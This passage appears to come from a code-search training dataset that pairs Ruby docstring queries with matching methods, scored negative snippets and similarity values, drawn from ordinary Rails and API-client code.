needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['quantimodo_oauth2']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'inline_response_200_13')\n if Configuration.debugging\n Configuration.logger.debug \"API called: MeasurementApi#measurements_get. Result: #{result.inspect}\"\n end\n return result\n end", "def list(*key)\n objects(*key).to_a\n end", "def useful_measures_by_performance_rate(validation_id)\n validation = Validation.find(validation_id)\n if validation.performance_rate_required == true\n # Remove all continuous measures since they do not have a performance rate\n measure_ids.select! { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == false }\n useful_measure_ids = []\n measure_ids.each do |id|\n hqmf_id = HealthDataStandards::CQM::Measure.find_by(_id: id).hqmf_id\n cache = HealthDataStandards::CQM::QueryCache.find_by(measure_id: hqmf_id)\n if (cache.NUMER != 0 && !cache.NUMER.nil?) || ((cache.DENOM ||= 0) - (cache.DENEXCEP ||= 0) - (cache.DENEX ||= 0)) != 0\n useful_measure_ids << HealthDataStandards::CQM::Measure.find_by(hqmf_id: hqmf_id).id\n end\n end\n useful_measure_ids\n else\n measure_ids\n end\n end", "def api_key\n key\n end", "def index\n @swift_api_keys = SwiftApiKey.all\n end", "def grab_key_stats\n key_stats = @market_doc.css(\"ul.module-body.wsod.key-stats\")\n key_stats.css(\"a.quote\").each do |x|\n name = x.css(\"span.column.quote-name\").text\n quote = x.css(\"span.column.quote-col\").text\n change = x.css(\"span.column.quote-change\").text\n @key_stats << [name, quote, change]\n end\n end", "def inspect\n \"TranscribeMe::API::Recordings count=#{list.count} list=[...] \"\n end", "def index\n @api_v1_properties = Api::V1::Property.all\n end", "def index\n @api_v1_topics = Api::V1::Topic.all\n end", "def demos\n get_records \"demo\", \"/demos\"\n end", "def determine_useful_measures(validation_id)\n useful_checks = [\n useful_measures_by_performance_rate(validation_id),\n useful_measures_by_measure_type(validation_id)\n ]\n useful_checks.inject(:&)\n end", "def index\n @medical_tests = MedicalTest.all\n end", "def all(options = {})\n data = service.list_metric_descriptors(options).body['metrics'] || []\n load(data)\n end", "def show_api_key(api_key_id, opts = {})\n data, _status_code, _headers = show_api_key_with_http_info(api_key_id, opts)\n data\n end", "def get_all_character_apis\n\t\t\tjson(@@movie_api)[\"results\"].map { |movie| movie[\"characters\"]}.flatten\n end", "def measure_defs\n return [] if !measure_ids\n \n self.measure_ids.collect do |measure_id|\n Measure.where(id: measure_id).order_by([[:sub_id, :asc]]).all()\n end.flatten\n end", "def api_key\n @key\n end", "def index\n response = HTTParty.get(\"https://casa-core.herokuapp.com/api/units\", :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n @units = JSON.parse(response.body)\n return @units\n end", "def get_measurements\n render json: @data_source.measurements\n end", "def api_key\n @key\n end", "def api_key; end", "def api_key; end", "def show\n results = db.grouped_metrics\n # todo: this is now in an erb\n metric_names = results[results.keys.first].keys.map { |m| m.gsub(/(init_|run_)/,'') }.uniq\n # would like to sort metric_names by ips (just for one)\n\n puts \"var data = [{\"\n results.each_with_index do |(sha, metrics), i|\n puts \" ]}, {\" if i > 0\n date = metrics.first[1].first[:date] #.split(\"T\").first\n puts \" name: \\\"#{sha}\\\", date: \\\"#{date}\\\", values: [\"\n\n metric_names.each_with_index do |bench, j|\n metric = metrics[bench] || metrics[\"run_#{bench}\"]\n metric = metric.first\n\n init_metric = metrics[\"init_#{bench}\"]\n init_metric = init_metric.first if init_metric\n puts \",\" if j > 0\n print \" {bench: %-20s, ips: %-8s, sd: %-8s\" %\n [\"\\\"#{bench}\\\"\",metric[:ips], metric[:ips_sd]]\n if init_metric\n print \", init_ips: %-8s, init_sd: %-8s\" %\n [init_metric[:ips], init_metric[:ips_sd]]\n end\n print \"}\"\n end\n puts\n end\n puts \"]}];\"\n end", "def show\n @measure = Measure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @measure }\n end\n end", "def index\n @structure = Structure.find(params[:structure_id])\n @measure_instances = MeasureInstance.where(structure_id: params[:structure_id])\n end", "def list(keydir)\n\n # FIXME: insert code that connects to the backend and affects the list\n # operation\n #\n # - Convert any exceptions into a failed status result with a meaningful\n # error message.\n #\n\n { :result => nil, :err_msg => 'FIXME: not implemented' }\n end", "def initialize(api_key)\n @api_key = api_key\n @data_api_url = 'https://www.altadata.io/data/api/'\n @subscription_api_url = \"https://www.altadata.io/subscription/api/subscriptions?api_key=#{@api_key}\"\n end", "def index\n @api_v1_questions = Api::V1::Question.all\n end", "def scorable_metrics\n Card.search(type_id: Card::MetricID,\n right_plus: [\"*metric type\",\n content: scorable_metric_type_content.unshift(\"in\")],\n sort: \"name\",\n return: :name).sort\n end" ]
[ "0.6055472", "0.5997235", "0.5745264", "0.5745264", "0.57444793", "0.57245135", "0.57245135", "0.56308895", "0.5582681", "0.5532264", "0.5520591", "0.55136263", "0.54849344", "0.54823804", "0.5416524", "0.5400436", "0.5388314", "0.5388314", "0.5334119", "0.53151244", "0.5309724", "0.52910054", "0.52766156", "0.52258736", "0.5220556", "0.5208722", "0.5203606", "0.51949936", "0.5194551", "0.5175993", "0.515785", "0.5153831", "0.5135846", "0.5123937", "0.5122581", "0.5109538", "0.5078448", "0.5076614", "0.5059233", "0.50411284", "0.5023383", "0.50173396", "0.50109035", "0.49904433", "0.49872595", "0.49536294", "0.49458337", "0.49392006", "0.49319297", "0.49177387", "0.49163178", "0.49135035", "0.49092558", "0.49092054", "0.4909008", "0.4906936", "0.48990294", "0.48948613", "0.48856372", "0.48664317", "0.48656785", "0.48569548", "0.48547068", "0.48545083", "0.48495913", "0.48382738", "0.48366076", "0.48101535", "0.48092988", "0.48043156", "0.47957742", "0.47937554", "0.4791391", "0.47906563", "0.47906303", "0.47884724", "0.47742584", "0.47733432", "0.47670522", "0.47652668", "0.4765113", "0.4764374", "0.4745952", "0.4739754", "0.47361866", "0.47305417", "0.4723573", "0.47082114", "0.47079465", "0.47059608", "0.4699478", "0.46987903", "0.46987903", "0.46919602", "0.46838072", "0.46818435", "0.46799076", "0.4678502", "0.46736896", "0.4673004" ]
0.6961849
0
Deletes a measure previously added with the same API key.
def delete_measure(measure_id) raise ArgumentError,"measure_id cannot be nil" unless measure_id exec_req_and_parse_response "/measure/delete", {id: measure_id} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @measure = Measure.find(params[:id])\n\n respond_to do |format|\n if @measure.destroy\n format.html { redirect_to measures_url,\n notice: (crud_notice('destroyed', @measure) + \"#{undo_link(@measure)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to measures_url, alert: \"#{@measure.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @measure = Measure.find(params[:id])\n @measure.destroy\n\n respond_to do |format|\n format.html { redirect_to measures_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @measure = current_user.account.measures.find(params[:id])\n @measure.destroy\n\n respond_to do |format|\n format.html { redirect_to(measures_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @measure.destroy\n\n head :no_content\n end", "def statsd_remove_measure(method, name)\n remove_from_method(method, name, :measure)\n end", "def destroy\n @unit_of_measure = UnitOfMeasure.find(params[:id])\n @unit_of_measure.destroy\n get_data\n end", "def destroy\n @measure.destroy\n respond_to do |format|\n format.html { redirect_to measures_url, notice: 'Measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @measure.destroy\n respond_to do |format|\n format.html { redirect_to measures_url, notice: 'Measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @measure.destroy\n respond_to do |format|\n format.html { redirect_to measures_url, notice: 'Measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @kr_measure.destroy\n respond_to do |format|\n format.html { redirect_to kr_measures_url, notice: 'Kr measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @measure_group = MeasureGroup.find(params[:id])\n @measure_group.destroy\n\n respond_to do |format|\n format.html { redirect_to measure_groups_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cloth_measure = ClothMeasure.find(params[:id])\n @cloth_measure.destroy\n\n respond_to do |format|\n format.html { redirect_to cloth_measures_url }\n format.json { head :ok }\n end\n end", "def destroy\n @unit_measure.destroy\n respond_to do |format|\n format.html { redirect_to unit_measures_url, notice: 'Unit measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_measures(start, end_measure)\n start_index = (start.to_i * self.beats_per_measure.to_i)-self.beats_per_measure.to_i-1\n end_index = (end_measure.to_i * self.beats_per_measure.to_i)-1\n i = start_index\n while i < end_index\n self.chords.delete_at(start_index)\n i+=1\n end\n end", "def delete\n ensure_service!\n service.delete_metric name\n true\n end", "def destroy\n @measure_instance.destroy\n respond_to do |format|\n format.html { redirect_to measure_instances_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @key_metric = KeyMetric.find(params[:id])\n @key_metric.destroy\n\n respond_to do |format|\n format.html { redirect_to(key_metrics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @goldmeasure.destroy\n respond_to do |format|\n format.html { redirect_to goldmeasures_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unit_of_measure.destroy\n respond_to do |format|\n format.html { redirect_to unit_of_measures_url, notice: 'Unit of measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove(name)\n metric = @metrics.delete(name)\n metric != nil\n end", "def destroy\n @ballot_measure.destroy\n respond_to do |format|\n format.html { redirect_to ballot_measures_url, notice: 'Ballot measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @irradiance_measure.destroy\n respond_to do |format|\n format.html { redirect_to irradiance_measures_url, notice: 'Irradiance measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy_metric(_metric)\n raise \"Not implemented\"\n end", "def delete(key)\n @data.delete(key)\n @key_size.delete(key)\n end", "def destroy\n metric.destroy\n\n respond_with(metric)\n end", "def measurements_id_delete(id, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: MeasurementApi#measurements_id_delete ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling measurements_id_delete\" if id.nil?\n \n # resource path\n path = \"/measurements/{id}\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['quantimodo_oauth2']\n result = @api_client.call_api(:DELETE, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'inline_response_200_2')\n if Configuration.debugging\n Configuration.logger.debug \"API called: MeasurementApi#measurements_id_delete. Result: #{result.inspect}\"\n end\n return result\n end", "def destroy\n @measurement = Measurement.find(params[:id])\n @measurement.destroy\n\n respond_to do |format|\n format.html { redirect_to body_measurements_url }\n format.json { head :no_content }\n end\n end", "def delete(key)\n instrument :delete, key: key do\n map = find_map_by_key(key)\n if map\n client.image.image_delete(map.imgur_id)\n map.destroy!\n end\n end\n end", "def delete(key)\n attribute = key.to_sym\n details.delete(attribute)\n messages.delete(attribute)\n end", "def destroy\n @weather_measure.destroy\n respond_to do |format|\n format.html { redirect_to weather_measures_url, notice: 'Weather measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @k_measurement.destroy\n respond_to do |format|\n format.html { redirect_to k_measurements_url }\n format.json { head :no_content }\n end\n end", "def delete(key)\n removeAttribute(key.to_s)\n end", "def delete(key)\n removeAttribute(key.to_s)\n end", "def delete(key)\n removeAttribute(key.to_s)\n end", "def destroy\n @metric = Metric.find(params[:id])\n @metric.destroy\n\n respond_to do |format|\n format.html { redirect_to metrics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @standard_measurement = StandardMeasurement.find(params[:id])\n @standard_measurement.destroy\n\n respond_to do |format|\n format.html { redirect_to standard_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @metric = Metric.find(params[:id])\n @metric.destroy\n\n head :no_content\n end", "def destroy\n\t\t@comparison_measure = ComparisonMeasure.find(params[:id]);\n\t\t\n\t\t# find and delete any associated data points\n\t\tdataPoints = ComparisonDataPoint.where(:comparison_measure_id=>@comparison_measure.id)\n\t\t\n\t\tunless dataPoints.empty?\n\t\t\tdataPoints.each do |dp|\n\t\t\t\tdp.destroy\t\n\t\t\tend\n\t\tend\n\t\t\n\t\t# get the comparison object that this measure belongs to\n\t\t@comparison = Comparison.find(@comparison_measure.comparison_id)\n\t\t\n\t\t# remove the comparison measure\n\t\t@comparison_measure.destroy\n\t\t\n\t\t# update the display tables and give a message that it was deleted successfully\n\t\t@comparison_measure = ComparisonMeasure.new\n\t\t@comparison_measures = ComparisonMeasure.where(:comparison_id=>@comparison.id)\n\t\t@comparison_data_points = ComparisonMeasure.get_data_points(@comparison_measures.collect{|x| x.id})\n\t\t@comparison_data_point = ComparisonDataPoint.new\n\t\t@comparison_measure = ComparisonMeasure.new\n\t\t@study = Study.find(@comparison.study_id)\n\t\t@outcome = Outcome.find(@comparison.outcome_id)\n\t\t@extraction_form = ExtractionForm.find(@comparison.extraction_form_id)\n\t\t@td_id = \"#\" + @comparison.comparators.to_s\n\t\t@type = @comparison.within_or_between\n\t\t@previous_measures = ComparisonMeasure.get_previous_measures(@comparison.study_id)\n\t\t@entry_container = \"measure_form_div\"\n\t\t@entry_partial = \"comparison_measures/form\"\n\t\t@editing=false\n\t\t\n\t\t@table_container = \"measure_display_div\"\n\t\t@table_partial = \"comparison_measures/measure_list\"\n\t\t\n\t\t@table_container2 = \"form_div\"\n\t\tobject_ids = @comparison.comparators.split(\"_\")\n\t\tif @type == \"between\"\n\t\t\t@table_partial2 = \"comparison_data_points/between_arm_comparisons\"\n\t\t\t@arms = []\n\t\t\tobject_ids.length.times do |i|\n\t\t\t\ttmp = Arm.find(object_ids[i])\n\t\t\t\t@arms[i] = tmp\n\t\t\tend\n\t\telse\n\t\t\t@table_partial2 = \"comparison_data_points/within_arm_comparisons\"\n\t\t\t@timepoints = []\t\n\t\t\tobject_ids.length.times do |i|\n\t\t\t\ttmp = OutcomeTimepoint.find(object_ids[i])\n\t\t\t\t@timepoints[i] = tmp\n\t\t\tend\t\t\n\t\tend\n\t\trender \"shared/saved\"\n\tend", "def delete(key)\n @store.delete(key)\n end", "def delete(key)\n @store.delete(key)\n end", "def remove_datapoint(key)\n @redis.srem \"datapoints\", key\n end", "def destroy\n @unidade_metrica = UnidadeMetrica.find(params[:id])\n @unidade_metrica.destroy\n\n respond_to do |format|\n format.html { redirect_to unidade_metricas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @measurement = current_user.measurements.find(params[:id])\n @measurement.destroy\n\n respond_to do |format|\n format.html { redirect_to(measurements_path) }\n format.xml { head :ok }\n end\n end", "def delete_data(key)\n @data.delete(key)\n end", "def destroy\n @outcome_measure_type.destroy\n respond_to do |format|\n format.html { redirect_to outcome_measure_types_url, notice: 'Outcome measure type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def del(key)\n @first.del(key)\n end", "def delete(key)\n value = self[key]\n\n @memcached.delete key\n\n value\n end", "def destroy\n @measurement = Measurement.find(params[:id])\n @measurement.destroy\n\n respond_to do |format|\n format.html { redirect_to(measurements_url) }\n format.xml { head :ok }\n end\n end", "def delete(key)\n data.delete(key)\n @deleted_hash[key] = nil\n end", "def destroy\n @measurement.destroy\n respond_to do |format|\n format.html { redirect_to measurements_url, notice: 'Measurement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @measurement.destroy\n respond_to do |format|\n format.html { redirect_to measurements_url, notice: 'Measurement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @measurement.destroy\n respond_to do |format|\n format.html { redirect_to measurements_url, notice: 'Measurement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n Metric.find_by_metric_id(@value_metric.id).destroy\r\n #Metric.find(idx).destroy\r\n @value_metric.destroy\r\n respond_to do |format|\r\n format.html { redirect_to @game, notice: 'Value metric was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def del(key)\n @meta.delete(key.to_sym) if key\n end", "def delete(data_set_name)\n library[data_set_name].delete\n library.delete(data_set_name)\n end", "def destroy_feature(feature_key)\n features[feature_key].delete\n save\n end", "def delete_api_key(key, request_options = {})\n client.delete(Protocol.index_key_uri(name, key), :write, request_options)\n end", "def destroy\n @api_key = ApiKey.find(params[:id])\n @api_key.destroy\n redirect_to profile_path\n end", "def delete_attribute(key); end", "def v2_measurements_id_delete_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MeasurementsApi.v2_measurements_id_delete ...\"\n end\n # verify the required parameter 'id' is set\n fail ArgumentError, \"Missing the required parameter 'id' when calling MeasurementsApi.v2_measurements_id_delete\" if id.nil?\n # resource path\n local_var_path = \"/v2/measurements/{id}\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['quantimodo_oauth2']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20012')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MeasurementsApi#v2_measurements_id_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n @measurement.destroy\n respond_to do |format|\n format.html { redirect_to measurements_url, notice: \"Measurement was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @running_measurement.destroy\n respond_to do |format|\n format.html { redirect_to running_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meter_detail = MeterDetail.find(params[:id])\n @meter_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to meter_details_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pursuit_metric.destroy\n respond_to do |format|\n format.html { redirect_to pursuit_metrics_url, notice: 'Pursuit metric was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def mcx_delete\n self.delete('mcx_flags')\n self.delete('mcx_settings')\n end", "def destroy\n @measure_report.last_editor = current_user\n @measure_report.update({expired: true})\n respond_to do |format|\n format.html { redirect_to measure_reports_url, notice: 'Measure report was successfully deleted.' }\n format.js { render 'shared/destroy', locals: { resource: @measure_report, data_label: \"report\" } }\n format.json { head :no_content }\n end\n end", "def destroy\n @metric_type = MetricType.find(params[:id])\n @metric_type.destroy\n\n respond_to do |format|\n format.html { redirect_to metric_types_url }\n format.json { head :no_content }\n end\n end", "def delete\n BasicInterfaceRegister[@data_lib].delete(@data_set_name)\n end", "def destroy\n @admin_sub_metric.destroy\n respond_to do |format|\n format.html { redirect_to admin_sub_metrics_url }\n format.json { head :no_content }\n end\n end", "def delete(key)\n @ivar.each_with_index do |ele, i|\n if ele[0] == key\n @ivar.delete_at(i)\n end\n end\n end", "def delete_key(key)\n end", "def destroy\n @dbh_measurement.destroy\n respond_to do |format|\n format.html { redirect_to dbh_measurements_url }\n format.json { head :no_content }\n end\n end", "def delete(key)\n @succ.delete key\n end", "def destroy\n authorize! :manage, Measurement\n \n @measurement.destroy\n respond_to do |format|\n format.html { redirect_to measurements_url, notice: 'Measurement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_data key\n init_data\n\n Bot::DB[my_name].delete key\n end", "def delete_data key\n init_data\n\n Bot::DB[my_name].delete key\n end", "def set_measure\n @measure = Measure.find(params[:id])\n end", "def set_measure\n @measure = Measure.find(params[:id])\n end", "def set_measure\n @measure = Measure.find(params[:id])\n end", "def delete(key)\n perform_delete(:delete, key)\n end", "def delete(key); end", "def delete(key); end", "def delete(key); end", "def delete(key); end", "def delete(key); end", "def delete(key)\n\n end", "def destroy\n @metric.destroy\n respond_to do |format|\n format.html { redirect_to metrics_url, notice: 'Metric was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @measurment.destroy\n respond_to do |format|\n format.html { redirect_to measurments_url, notice: 'Measurment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def clear_by_key(key)\n delete(key)\n end", "def delete(key)\n unimplemented\n end", "def delete(key)\n id = @cache[key]\n @cache.delete(key)\n @index.delete(id) if id\n end", "def destroy\n @quality_lot_gauge = QualityLotGauge.find(params[:quality_lot_gauge_id])\n @quality_lot_gauge_dimension = @quality_lot_gauge.quality_lot_gauge_dimensions.find(params[:id])\n @quality_lot_gauge_dimension.destroy\n\n respond_to do |format|\n format.html { redirect_to quality_lot_gauge_quality_lot_gauge_dimensions_url(quality_lot_gauge) }\n format.json { head :ok }\n end\n end", "def destroy\n @metric_type = MetricType.find(params[:id])\n @metric_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(metric_types_url) }\n format.xml { head :ok }\n end\n end", "def update\n if @measure.update(measure_params)\n head :no_content\n else\n render json: @measure.errors, status: :unprocessable_entity\n end\n end", "def delete_entry(key, options)\n dataset.delete Google::Cloud::Datastore::Key.new @datastore_kind_name, key\n end", "def destroy\n @staff_measurement.destroy\n respond_to do |format|\n format.html { redirect_to staff_measurements_url, notice: (t 'staff_measurements.title')+(t 'actions.removed') }\n format.json { head :no_content }\n end\n end", "def delete(key)\n log \"deleting #{key} from #{container_path}\"\n object_path = File.join(container_path, Raca::Util.url_encode(key))\n response = storage_client.delete(object_path)\n (200..299).cover?(response.code.to_i)\n end" ]
[ "0.70181394", "0.6752842", "0.6710834", "0.65900517", "0.65266734", "0.64706707", "0.6384439", "0.6384439", "0.6384439", "0.63701534", "0.62971586", "0.6178128", "0.61148435", "0.6089075", "0.599364", "0.5984563", "0.59323937", "0.590877", "0.58892596", "0.5842503", "0.58347416", "0.5790153", "0.57103455", "0.57040066", "0.5694126", "0.5689547", "0.56829196", "0.5673495", "0.5669029", "0.56659555", "0.5656128", "0.56494546", "0.56494546", "0.56494546", "0.56230545", "0.5611125", "0.5593052", "0.5586566", "0.55680764", "0.55651224", "0.55547154", "0.5538431", "0.55250806", "0.5503536", "0.5478574", "0.54674613", "0.54587317", "0.54404074", "0.54033315", "0.53812003", "0.53812003", "0.53812003", "0.53765386", "0.5374948", "0.5374325", "0.5372845", "0.5372818", "0.5368521", "0.53674835", "0.536379", "0.53604907", "0.53580433", "0.53483474", "0.5341313", "0.5341313", "0.53368944", "0.53226787", "0.5321428", "0.53183013", "0.5308134", "0.5300316", "0.52997166", "0.52848345", "0.5284517", "0.52843213", "0.5283163", "0.52783203", "0.5278083", "0.5278083", "0.52774763", "0.52774763", "0.52774763", "0.5258084", "0.5250791", "0.5250791", "0.5250791", "0.5250791", "0.5250791", "0.52439046", "0.5240711", "0.5236316", "0.5223939", "0.52234477", "0.52214825", "0.5211504", "0.52082825", "0.5204103", "0.52024716", "0.51939744", "0.51920974" ]
0.76766664
0
GET /admin/kpi_templates GET /admin/kpi_templates.json
def index @admin_kpi_templates = Admin::KpiTemplate.paginate(:page=>params[:page],:per_page=>20) respond_to do |format| format.html # index.html.erb format.json { render json: @admin_kpi_templates } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end", "def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end", "def list\n @client.call(method: :get, path: 'templates')\n end", "def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end", "def list\n @client.make_request :get, templates_path\n end", "def get_job_templates\n dprint \"get /api/v1/job_templates\"\n resp = @rest['/api/v1/job_templates'].get\n dprint resp\n # ruby's implicit return\n JSON.parse(resp)[\"results\"]\n end", "def show\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end", "def get_policy_templates\n @command = :get_policy_templates\n # get the policy templates from the RESTful API (as an array of objects)\n uri = URI.parse @uri_string + '/templates'\n result = hnl_http_get(uri)\n unless result.blank?\n # convert it to a sorted array of objects (from an array of hashes)\n sort_fieldname = 'template'\n result = hash_array_to_obj_array(expand_response_with_uris(result), sort_fieldname)\n end\n # and print the result\n print_object_array(result, \"Policy Templates:\", :style => :table)\n end", "def index\n @admin_templates = Template.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_templates }\n end\n end", "def get_driver_templates\n @client.raw('get', '/content/email-templates/driver/templates')\n end", "def new\n @admin_kpi_template = Admin::KpiTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end", "def templates\n @conn.templates\n end", "def templates(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Templates\", params: params)\n end", "def list_templates(type)\n res = http_get(:uri=>\"/editor/#{type}/templates\", :fields=>x_cookie)\n end", "def templates\n return self.class.get('/templates').parsed_response.map do |template|\n Template.new(template['template_id'], template['name'])\n end\n end", "def list_templates(args = {})\n filter = args[:filter] || 'featured'\n params = {\n 'command' => 'listTemplates',\n 'templateFilter' => filter\n }\n params['projectid'] = args[:project_id] if args[:project_id]\n params['zoneid'] = args[:zone_id] if args[:zone_id]\n \n json = send_request(params)\n json['template'] || []\n end", "def get_templates(opts={})\n path = '/template/list'\n opts[:query] = create_search_string(opts[:query]) if opts[:query]\n query = create_query_string(opts, [:page, :page_size, :query])\n path += query\n HelloSign::Resource::ResourceArray.new get(path, opts), 'templates', HelloSign::Resource::Template\n end", "def index\n @templates = Template.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @templates }\n end\n end", "def templates_path\n @templates_path\n end", "def index\n # Retrieve kpis templates from impac api.\n # TODO: improve request params to work for strong parameters\n attrs = params.slice('metadata', 'opts')\n auth = { username: MnoEnterprise.tenant_id, password: MnoEnterprise.tenant_key }\n\n response = begin\n MnoEnterprise::ImpacClient.send_get('/api/v2/kpis', attrs, basic_auth: auth)\n rescue => e\n return render json: { message: \"Unable to retrieve kpis from Impac API | Error #{e}\" }\n end\n\n # customise available kpis\n kpis = (response['kpis'] || []).map do |kpi|\n kpi = kpi.with_indifferent_access\n kpi[:watchables].map do |watchable|\n kpi.merge(\n name: \"#{kpi[:name]} #{watchable.capitalize unless kpi[:name].downcase.index(watchable)}\".strip,\n watchables: [watchable],\n target_placeholders: {watchable => kpi[:target_placeholders][watchable]},\n )\n end\n end\n .flatten\n\n render json: { kpis: kpis }\n end", "def details\n response = get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end", "def index\n @templates = Spree::Template.all\n end", "def get_templates(limit = 100, offset = 0)\n params = { :limit => limit, :offset => offset }\n\n request :get, \"/v3/templates.json\", params\n end", "def details\n response = CreateSend.get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end", "def config_templates\r\n ConfigTemplatesController.instance\r\n end", "def show\n respond_ok \"template\", @templates\n end", "def retrieve_all_template_info\n puts \"Retrieving all template ids and names for #{@primary_username} ...\"\n puts\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n templates = JSON.parse( response.body )\n\n # Create template_id array\n @template_array = Array.new\n\n # Create a template hash w/ name and id for each template found\n templates['templates'].each do |t|\n @template_array.push({:id => t['id'], :name => t['name']})\n end\n\n # Return constructed temmplate array\n return template_array\n end", "def index\n @templates = ::Template.all\n end", "def get_templates(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n r = @client.post({\n 'action' => 'gettemplate',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n\n templates = []\n JSON.parse(r)['result'].each do |data|\n host_template = ::Centreon::HostTemplate.new\n host_template.id = 